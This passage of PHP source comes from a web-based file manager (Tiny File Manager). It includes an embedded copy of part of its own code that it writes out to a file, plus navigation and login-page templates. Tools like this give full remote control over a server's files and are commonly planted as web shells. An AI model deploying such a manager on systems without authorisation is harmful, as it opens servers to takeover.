function ace_commend (cmd) { editor.commands.exec(cmd, editor); }", 4029 => " editor.commands.addCommands([{", 4030 => " name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},", 4031 => " exec: function(editor) { edit_save(this, 'ace'); }", 4032 => " }]);", 4033 => " function renderThemeMode() {", 4034 => " var \$modeEl = \$(\"select#js-ace-mode\"), \$themeEl = \$(\"select#js-ace-theme\"), \$fontSizeEl = \$(\"select#js-ace-fontSize\"), optionNode = function(type, arr){ var \$Option = \"\"; \$.each(arr, function(i, val) { \$Option += \"<option value='\"+type+i+\"'>\" + val + \"</option>\"; }); return \$Option; },", 4035 => " _data = {\"aceTheme\":{\"bright\":{\"chrome\":\"Chrome\",\"clouds\":\"Clouds\",\"crimson_editor\":\"Crimson Editor\",\"dawn\":\"Dawn\",\"dreamweaver\":\"Dreamweaver\",\"eclipse\":\"Eclipse\",\"github\":\"GitHub\",\"iplastic\":\"IPlastic\",\"solarized_light\":\"Solarized Light\",\"textmate\":\"TextMate\",\"tomorrow\":\"Tomorrow\",\"xcode\":\"XCode\",\"kuroir\":\"Kuroir\",\"katzenmilch\":\"KatzenMilch\",\"sqlserver\":\"SQL Server\"},\"dark\":{\"ambiance\":\"Ambiance\",\"chaos\":\"Chaos\",\"clouds_midnight\":\"Clouds Midnight\",\"dracula\":\"Dracula\",\"cobalt\":\"Cobalt\",\"gruvbox\":\"Gruvbox\",\"gob\":\"Green on Black\",\"idle_fingers\":\"idle Fingers\",\"kr_theme\":\"krTheme\",\"merbivore\":\"Merbivore\",\"merbivore_soft\":\"Merbivore Soft\",\"mono_industrial\":\"Mono Industrial\",\"monokai\":\"Monokai\",\"pastel_on_dark\":\"Pastel on dark\",\"solarized_dark\":\"Solarized Dark\",\"terminal\":\"Terminal\",\"tomorrow_night\":\"Tomorrow Night\",\"tomorrow_night_blue\":\"Tomorrow Night Blue\",\"tomorrow_night_bright\":\"Tomorrow Night Bright\",\"tomorrow_night_eighties\":\"Tomorrow Night 80s\",\"twilight\":\"Twilight\",\"vibrant_ink\":\"Vibrant Ink\"}},\"aceMode\":{\"javascript\":\"JavaScript\",\"abap\":\"ABAP\",\"abc\":\"ABC\",\"actionscript\":\"ActionScript\",\"ada\":\"ADA\",\"apache_conf\":\"Apache Conf\",\"asciidoc\":\"AsciiDoc\",\"asl\":\"ASL\",\"assembly_x86\":\"Assembly x86\",\"autohotkey\":\"AutoHotKey\",\"apex\":\"Apex\",\"batchfile\":\"BatchFile\",\"bro\":\"Bro\",\"c_cpp\":\"C and C++\",\"c9search\":\"C9Search\",\"cirru\":\"Cirru\",\"clojure\":\"Clojure\",\"cobol\":\"Cobol\",\"coffee\":\"CoffeeScript\",\"coldfusion\":\"ColdFusion\",\"csharp\":\"C#\",\"csound_document\":\"Csound Document\",\"csound_orchestra\":\"Csound\",\"csound_score\":\"Csound Score\",\"css\":\"CSS\",\"curly\":\"Curly\",\"d\":\"D\",\"dart\":\"Dart\",\"diff\":\"Diff\",\"dockerfile\":\"Dockerfile\",\"dot\":\"Dot\",\"drools\":\"Drools\",\"edifact\":\"Edifact\",\"eiffel\":\"Eiffel\",\"ejs\":\"EJS\",\"elixir\":\"Elixir\",\"elm\":\"Elm\",\"erlang\":\"Erlang\",\"forth\":\"Forth\",\"fortran\":\"Fortran\",\"fsharp\":\"FSharp\",\"fsl\":\"FSL\",\"ftl\":\"FreeMarker\",\"gcode\":\"Gcode\",\"gherkin\":\"Gherkin\",\"gitignore\":\"Gitignore\",\"glsl\":\"Glsl\",\"gobstones\":\"Gobstones\",\"golang\":\"Go\",\"graphqlschema\":\"GraphQLSchema\",\"groovy\":\"Groovy\",\"haml\":\"HAML\",\"handlebars\":\"Handlebars\",\"haskell\":\"Haskell\",\"haskell_cabal\":\"Haskell Cabal\",\"haxe\":\"haXe\",\"hjson\":\"Hjson\",\"html\":\"HTML\",\"html_elixir\":\"HTML (Elixir)\",\"html_ruby\":\"HTML (Ruby)\",\"ini\":\"INI\",\"io\":\"Io\",\"jack\":\"Jack\",\"jade\":\"Jade\",\"java\":\"Java\",\"json\":\"JSON\",\"jsoniq\":\"JSONiq\",\"jsp\":\"JSP\",\"jssm\":\"JSSM\",\"jsx\":\"JSX\",\"julia\":\"Julia\",\"kotlin\":\"Kotlin\",\"latex\":\"LaTeX\",\"less\":\"LESS\",\"liquid\":\"Liquid\",\"lisp\":\"Lisp\",\"livescript\":\"LiveScript\",\"logiql\":\"LogiQL\",\"lsl\":\"LSL\",\"lua\":\"Lua\",\"luapage\":\"LuaPage\",\"lucene\":\"Lucene\",\"makefile\":\"Makefile\",\"markdown\":\"Markdown\",\"mask\":\"Mask\",\"matlab\":\"MATLAB\",\"maze\":\"Maze\",\"mel\":\"MEL\",\"mixal\":\"MIXAL\",\"mushcode\":\"MUSHCode\",\"mysql\":\"MySQL\",\"nix\":\"Nix\",\"nsis\":\"NSIS\",\"objectivec\":\"Objective-C\",\"ocaml\":\"OCaml\",\"pascal\":\"Pascal\",\"perl\":\"Perl\",\"perl6\":\"Perl 6\",\"pgsql\":\"pgSQL\",\"php_laravel_blade\":\"PHP (Blade Template)\",\"php\":\"PHP\",\"puppet\":\"Puppet\",\"pig\":\"Pig\",\"powershell\":\"Powershell\",\"praat\":\"Praat\",\"prolog\":\"Prolog\",\"properties\":\"Properties\",\"protobuf\":\"Protobuf\",\"python\":\"Python\",\"r\":\"R\",\"razor\":\"Razor\",\"rdoc\":\"RDoc\",\"red\":\"Red\",\"rhtml\":\"RHTML\",\"rst\":\"RST\",\"ruby\":\"Ruby\",\"rust\":\"Rust\",\"sass\":\"SASS\",\"scad\":\"SCAD\",\"scala\":\"Scala\",\"scheme\":\"Scheme\",\"scss\":\"SCSS\",\"sh\":\"SH\",\"sjs\":\"SJS\",\"slim\":\"Slim\",\"smarty\":\"Smarty\",\"snippets\":\"snippets\",\"soy_template\":\"Soy Template\",\"space\":\"Space\",\"sql\":\"SQL\",\"sqlserver\":\"SQLServer\",\"stylus\":\"Stylus\",\"svg\":\"SVG\",\"swift\":\"Swift\",\"tcl\":\"Tcl\",\"terraform\":\"Terraform\",\"tex\":\"Tex\",\"text\":\"Text\",\"textile\":\"Textile\",\"toml\":\"Toml\",\"tsx\":\"TSX\",\"twig\":\"Twig\",\"typescript\":\"Typescript\",\"vala\":\"Vala\",\"vbscript\":\"VBScript\",\"velocity\":\"Velocity\",\"verilog\":\"Verilog\",\"vhdl\":\"VHDL\",\"visualforce\":\"Visualforce\",\"wollok\":\"Wollok\",\"xml\":\"XML\",\"xquery\":\"XQuery\",\"yaml\":\"YAML\",\"django\":\"Django\"},\"fontSize\":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};", 4036 => " if(_data && _data.aceMode) { \$modeEl.html(optionNode(\"ace/mode/\", _data.aceMode)); }", 4037 => " if(_data && _data.aceTheme) { var lightTheme = optionNode(\"ace/theme/\", _data.aceTheme.bright), darkTheme = optionNode(\"ace/theme/\", _data.aceTheme.dark); \$themeEl.html(\"<optgroup label=\\\"Bright\\\">\"+lightTheme+\"</optgroup><optgroup label=\\\"Dark\\\">\"+darkTheme+\"</optgroup>\");}", 4038 => " if(_data && _data.fontSize) { \$fontSizeEl.html(optionNode(\"\", _data.fontSize)); }", 4039 => " \$modeEl.val( editor.getSession().\$modeId );", 4040 => " \$themeEl.val( editor.getTheme() );", 4041 => " \$fontSizeEl.val(12).change(); //set default font size in drop down", 4042 => " }", 4043 => "", 4044 => " \$(function(){", 4045 => " renderThemeMode();", 4046 => " \$(\".js-ace-toolbar\").on(\"click\", 'button', function(e){", 4047 => " e.preventDefault();", 4048 => " let cmdValue = \$(this).attr(\"data-cmd\"), editorOption = \$(this).attr(\"data-option\");", 4049 => " if(cmdValue && cmdValue != \"none\") {", 4050 => " ace_commend(cmdValue);", 4051 => " } else if(editorOption) {", 4052 => " if(editorOption == \"fullscreen\") {", 4053 => " (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)", 4054 => " &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());", 4055 => " } else if(editorOption == \"wrap\") {", 4056 => " let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;", 4057 => " editor.getSession().setUseWrapMode(wrapStatus);", 4058 => " } else if(editorOption == \"help\") {", 4059 => " var helpHtml=\"\";\$.each(window.config.aceHelp,function(i,value){helpHtml+=\"<li>\"+value+\"</li>\";});var tplObj={id:1028,title:\"Help\",action:false,content:helpHtml},tpl=\$(\"#js-tpl-modal\").html();\$('#wrapper').append(template(tpl,tplObj));\$(\"#js-ModalCenter-1028\").modal('show');", 4060 => " }", 4061 => " }", 4062 => " });", 4063 => " \$(\"select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize\").on(\"change\", function(e){", 4064 => " e.preventDefault();", 4065 => " let selectedValue = \$(this).val(), selectionType = \$(this).attr(\"data-type\");", 4066 => " if(selectedValue && selectionType == \"mode\") {", 4067 => " editor.getSession().setMode(selectedValue);", 4068 => " } else if(selectedValue && selectionType == \"theme\") {", 4069 => " editor.setTheme(selectedValue);", 4070 => " }else if(selectedValue && selectionType == \"fontSize\") {", 4071 => " editor.setFontSize(parseInt(selectedValue));", 4072 => " }", 4073 => " });", 4074 => " });", 4075 => " </script>", 4076 => "<?php endif; ?>", 4077 => "<div id=\"snackbar\"></div>", 4078 => "</body>", 4079 => "</html>", 4080 => "<?php", 4081 => "}", 4082 => "", 4083 => "/**", 4084 => " * Language Translation System", 4085 => " * @param string \$txt", 4086 => " * @return string", 4087 => " */", 4088 => "function lng(\$txt) {", 4089 => " global \$lang;", 4090 => "", 4091 => " // English Language", 4092 => " \$tr['en']['AppName'] = 'File Manager'; \$tr['en']['AppTitle'] = 'File Manager';", 4093 => " \$tr['en']['Login'] = 'submit'; \$tr['en']['Username'] = 'Username';", 4094 => " \$tr['en']['Password'] = 'Password'; \$tr['en']['Logout'] = 'Sign Out';", 4095 => " \$tr['en']['Move'] = 'Move'; \$tr['en']['Copy'] = 'Copy';", 4096 => " \$tr['en']['Save'] = 'Save'; \$tr['en']['SelectAll'] = 'Select all';", 4097 => " \$tr['en']['UnSelectAll'] = 'Unselect all'; \$tr['en']['File'] = 'File';", 4098 => " \$tr['en']['Back'] = 'Back'; \$tr['en']['Size'] = 'Size';", 4099 => " \$tr['en']['Perms'] = 'Perms'; \$tr['en']['Modified'] = 'Modified';", 4100 => " \$tr['en']['Owner'] = 'Owner'; \$tr['en']['Search'] = 'Search';", 4101 => " \$tr['en']['NewItem'] = 'New Item'; \$tr['en']['Folder'] = 'Folder';", 4102 => " \$tr['en']['Delete'] = 'Delete'; \$tr['en']['Rename'] = 'Rename';", 4103 => " \$tr['en']['CopyTo'] = 'Copy to'; \$tr['en']['DirectLink'] = 'Direct link';", 4104 => " \$tr['en']['UploadingFiles'] = 'Upload Files'; \$tr['en']['ChangePermissions'] = 'Change Permissions';", 4105 => " \$tr['en']['Copying'] = 'Copying'; \$tr['en']['CreateNewItem'] = 'Create New Item';", 4106 => " \$tr['en']['Name'] = 'Name'; \$tr['en']['AdvancedEditor'] = 'Advanced Editor';", 4107 => " \$tr['en']['RememberMe'] = 'Remember Me'; \$tr['en']['Actions'] = 'Actions';", 4108 => " \$tr['en']['Upload'] = 'Upload'; \$tr['en']['Cancel'] = 'Cancel';", 4109 => " \$tr['en']['InvertSelection']= 'Invert Selection'; \$tr['en']['DestinationFolder'] = 'Destination Folder';", 4110 => " \$tr['en']['ItemType'] = 'Item Type'; \$tr['en']['ItemName'] = 'Item Name';", 4111 => " \$tr['en']['CreateNow'] = 'Create Now'; \$tr['en']['Download'] = 'Download';", 4112 => " \$tr['en']['Open'] = 'Open'; \$tr['en']['UnZip'] = 'UnZip';", 4113 => " \$tr['en']['UnZipToFolder'] = 'UnZip to folder'; \$tr['en']['Edit'] = 'Edit';", 4114 => " \$tr['en']['NormalEditor'] = 'Normal Editor'; \$tr['en']['BackUp'] = 'Back Up';", 4115 => " \$tr['en']['SourceFolder'] = 'Source Folder'; \$tr['en']['Files'] = 'Files';", 4116 => " \$tr['en']['Move'] = 'Move'; \$tr['en']['Change'] = 'Change';", 4117 => " \$tr['en']['Settings'] = 'Settings'; \$tr['en']['Language'] = 'Language';", 4118 => " \$tr['en']['Folder is empty'] = 'Folder is empty'; \$tr['en']['PartitionSize'] = 'Partition size';", 4119 => " \$tr['en']['ErrorReporting'] = 'Error Reporting'; \$tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';", 4120 => " \$tr['en']['Full size'] = 'Full size'; \$tr['en']['Help'] = 'Help';", 4121 => " \$tr['en']['Free of'] = 'Free of'; \$tr['en']['Preview'] = 'Preview';", 4122 => " \$tr['en']['Help Documents'] = 'Help Documents'; \$tr['en']['Report Issue'] = 'Report Issue';", 4123 => " \$tr['en']['Generate'] = 'Generate'; \$tr['en']['FullSize'] = 'Full Size';", 4124 => " \$tr['en']['FreeOf'] = 'free of'; \$tr['en']['CalculateFolderSize']= 'Calculate folder size';", 4125 => " \$tr['en']['ProcessID'] = 'Process ID'; \$tr['en']['Created'] = 'Created';", 4126 => " \$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';\$tr['en']['You are logged in'] = 'You are logged in';", 4127 => " \$tr['en']['Check Latest Version'] = 'Check Latest Version';\$tr['en']['Generate new password hash'] = 'Generate new password hash';", 4128 => " \$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';", 4129 => " \$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';", 4130 => "", 4131 => " // new - novos", 4132 => "", 4133 => " \$tr['en']['Advanced Search'] = 'Advanced Search'; \$tr['en']['Error while copying from'] = 'Error while copying from';", 4134 => " \$tr['en']['Nothing selected'] = 'Nothing selected'; \$tr['en']['Paths must be not equal'] = 'Paths must be not equal';", 4135 => " \$tr['en']['Renamed from'] = 'Renamed from'; \$tr['en']['Archive not unpacked'] = 'Archive not unpacked';", 4136 => " \$tr['en']['Deleted'] = 'Deleted'; \$tr['en']['Archive not created'] = 'Archive not created';", 4137 => " \$tr['en']['Copied from'] = 'Copied from'; \$tr['en']['Permissions changed'] = 'Permissions changed';", 4138 => " \$tr['en']['to'] = 'to'; \$tr['en']['Saved Successfully'] = 'Saved Successfully';", 4139 => " \$tr['en']['not found!'] = 'not found!'; \$tr['en']['File Saved Successfully'] = 'File Saved Successfully';", 4140 => " \$tr['en']['Archive'] = 'Archive'; \$tr['en']['Permissions not changed'] = 'Permissions not changed';", 4141 => " \$tr['en']['Select folder'] = 'Select folder'; \$tr['en']['Source path not defined'] = 'Source path not defined';", 4142 => " \$tr['en']['already exists'] = 'already exists'; \$tr['en']['Error while moving from'] = 'Error while moving from';", 4143 => " \$tr['en']['Create archive?'] = 'Create archive?'; \$tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';", 4144 => " \$tr['en']['Archive unpacked'] = 'Archive unpacked'; \$tr['en']['File extension is not allowed'] = 'File extension is not allowed';", 4145 => " \$tr['en']['Root path'] = 'Root path'; \$tr['en']['Error while renaming from'] = 'Error while renaming from';", 4146 => " \$tr['en']['File not found'] = 'File not found'; \$tr['en']['Error while deleting items'] = 'Error while deleting items';", 4147 => " \$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';", 4148 => " \$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';", 4149 => " \$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';", 4150 => " \$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';", 4151 => " \$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';", 4152 => " \$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';", 4153 => " \$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';", 4154 => " \$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';", 4155 => " \$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';", 4156 => " \$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';", 4157 => "", 4158 => " \$tr['en']['Moved from'] = 'Moved from';", 4159 => "", 4160 => " \$i18n = fm_get_translations(\$tr);", 4161 => " \$tr = \$i18n ? \$i18n : \$tr;", 4162 => "", 4163 => " if (!strlen(\$lang)) \$lang = 'en';", 4164 => " if (isset(\$tr[\$lang][\$txt])) return fm_enc(\$tr[\$lang][\$txt]);", 4165 => " else if (isset(\$tr['en'][\$txt])) return fm_enc(\$tr['en'][\$txt]);", 4166 => " else return \"\$txt\";", 4167 => "}", 4168 => "", 4169 => "?>");
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
//--- templates functions
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if (false) {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php
echo $getTheme;
?> mb-4 main-nav <?php
echo $isStickyNavBar;
?>">
<a class="navbar-brand" href=""> <?php
echo lng('AppTitle');
?> </a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='FM_ROOT_PATH'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7 text-right">
<ul class="navbar-nav mr-auto float-right <?php
echo fm_get_theme();
?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php
echo lng('Search');
?>" aria-label="<?php
echo lng('Search');
?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php
echo $path2 = $path ? $path : '.';
?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php
echo lng('Advanced Search');
?></a>
</div>
</div>
</div>
</li>
<?php
if (!FM_READONLY) {
?>
<li class="nav-item">
<a title="<?php
echo lng('Upload');
?>" class="nav-link" href="?p=<?php
echo urlencode(FM_PATH);
?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php
echo lng('Upload');
?></a>
</li>
<li class="nav-item">
<a title="<?php
echo lng('NewItem');
?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php
echo lng('NewItem');
?></a>
</li>
<?php
}
?>
<?php
if (FM_USE_AUTH) {
?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php
if (isset($_SESSION[FM_SESSION_ID]['logged'])) {
echo $_SESSION[FM_SESSION_ID]['logged'];
}
?></a>
<div class="dropdown-menu dropdown-menu-right <?php
echo fm_get_theme();
?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php
if (!FM_READONLY) {
?>
<a title="<?php
echo lng('Settings');
?>" class="dropdown-item nav-link" href="?p=<?php
echo urlencode(FM_PATH);
?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php
echo lng('Settings');
?></a>
<?php
}
?>
<a title="<?php
echo lng('Help');
?>" class="dropdown-item nav-link" href="?p=<?php
echo urlencode(FM_PATH);
?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php
echo lng('Help');
?></a>
<a title="<?php
echo lng('Logout');
?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php
echo lng('Logout');
?></a>
</div>
</li>
<?php
} else {
?>
<?php
if (!FM_READONLY) {
?>
<li class="nav-item">
<a title="<?php
echo lng('Settings');
?>" class="dropdown-item nav-link" href="?p=<?php
echo urlencode(FM_PATH);
?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php
echo lng('Settings');
?></a>
</li>
<?php
}
?>
<?php
}
?>
</ul>
</div>
</div>
</nav>
<?php
}
/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION[FM_SESSION_ID]['message'])) {
$class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
unset($_SESSION[FM_SESSION_ID]['message']);
unset($_SESSION[FM_SESSION_ID]['status']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php
if ($favicon_path) {
echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
}
?>
<title><?php
echo fm_enc(APP_TITLE);
?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 